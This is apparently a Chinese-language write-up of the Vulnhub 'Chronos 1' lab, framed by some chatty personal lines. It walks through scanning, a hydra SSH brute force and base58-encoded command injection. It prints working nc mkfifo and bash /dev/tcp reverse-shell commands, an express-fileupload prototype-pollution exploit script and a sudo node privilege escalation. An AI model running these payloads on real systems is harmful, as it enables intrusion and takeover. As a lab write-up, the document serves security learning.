你好啊

吃了么,睡了么

有拥抱么,有晚安么

剪刀石头布,哈,我又赢了

靶场简介

2022

11-12

Vulnhub

地址:https://www.vulnhub.com/entry/chronos-1,735/

描述:

难度:中等
目标:获得root权限,flag*2

涉及的任务:
端口扫描
WEB侦查
命令注入
数据编解码
搜索引擎
框架漏洞利用
代码审计
NC反弹shell
本地提权

系统环境

2022

11-12

操作系统:

物理机:Arch linux
虚拟机:kali linux
虚拟机程序:Virtualbox

使用程序:

sudo netdiscover -i eth1 用于目标发现
arp-scan 用于目标发现
nmap 用于服务识别
nc 用于shell反弹
hydra 用于密码破解
burpsuite 用于web测试

测试过程

主机发现

1
2
3
sudo netdiscover -i eth1  指定网卡,对目标网段进行arp主机发现

确定目标 192.168.56.109 为测试靶机目标

服务识别

1
2
3
4
5
nmap -p- 192.168.56.109 对发现目标进行全端口扫描
nmap -p22,80,8000 -sV 192.168.56.109 对目标开放端口进行服务识别

通过扫描发现目标开启22,80,8000端口,一个ssh,两个web服务,
80使用apache实现,8000使用nodejs,并且获得了对应版本信息,操作系统版本信息为ubuntu

服务进攻

1
2
hydra -l root -P rockyou.txt -t 32 -vV 192.168.56.109  ssh -f   首先对发现的第一个点进行攻击,使用hydra 进行ssh暴力破解

随后对下一个发现点进行测试,浏览器访问80,8000端口发现源代码里面存在一段相同jscript代码

通过cyberchef进行js代码美化,使代码便于分析,发现里面存在一个域名,但是并没有解析

通过本地hosts文件进行解析,使这段js代码能够正常访问这个域名

随后重新访问80,或者8000网站,js脚本正常加载,域名能够正常访问,发现多出了一个时间显示

随后使用burpsuite查看请求,发现一个get “/date?format=”请求,随后页面返回一个当前时间信息

随后将提交的数据放入cyberchef进行分析,发现编码为base58编码,解密后的信息为linux命令date的参数,猜测为直接调用date 命令返回信息,猜测存在命令注入漏洞

随后进行测试,将 ;ls 通过base58进行加密后提交,页面显示出目录信息,确定存在命令注入漏洞

进行命令测试,查找反弹shell的方式,将;ls /bin 编码后提交,获得可执行的命令列表,发现存在nc

尝试利用nc反弹shell

1
2
nc -vnlp 1111   本地监听1111端口,等待目标连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 1111 >/tmp/f 通过此命令进行shell 反弹连接

数据提交后页面显示错误信息,但是并没有影响shell的连接

账号为www-data,目录下发现web程序的源代码程序,进行代码分析
代码中对提交数据进行了判断,如果提交了whoami,id,nc等数据会反馈错误信息,但是并没有进行拦截,所以并不影响nc执行

随后在上一级目录中发现了另外一个目录
在其中一个文件中发现了使用的框架:express,express-fileupload
并且本地开启了8080,监听在127.0.0.1 只能当前主机本地访问,所以扫描无法发现

通过搜索引擎进行查找发现存在漏洞,随后在:https://blog.p6.is/Real-World-JS-1/ 找到漏洞利用代码,修改目标端口,ip信息后执行

1
2
3
4
5
6
7
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')

随后获得另外一个用户的shell,用户目录下存在一个flag文件。

1
2
3
sudo -l  查看当前用户的sudo权限

执行后发现当前用户可以无密码sudo执行npm,node
1
2
3
4
sudo node -e "require('child_process').exec('rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.56.1 9999 >/tmp/m')" 

使用sudo权限执行node,通过node调用nc反弹shell,获得root权限
root目录下存在第二个flag

完结撒花

积极向上

热爱生活

啊,再见了,再见了,哈

我们会再见的对么

再见你要幸福

燕子,燕子